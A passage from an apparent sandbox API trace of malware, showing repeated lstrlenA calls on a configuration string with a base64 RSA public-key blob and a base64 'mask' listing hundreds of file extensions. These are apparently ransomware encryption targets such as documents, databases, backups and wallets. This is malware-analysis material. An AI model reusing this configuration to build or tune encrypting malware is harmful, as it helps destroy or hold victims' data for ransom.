YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.130] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA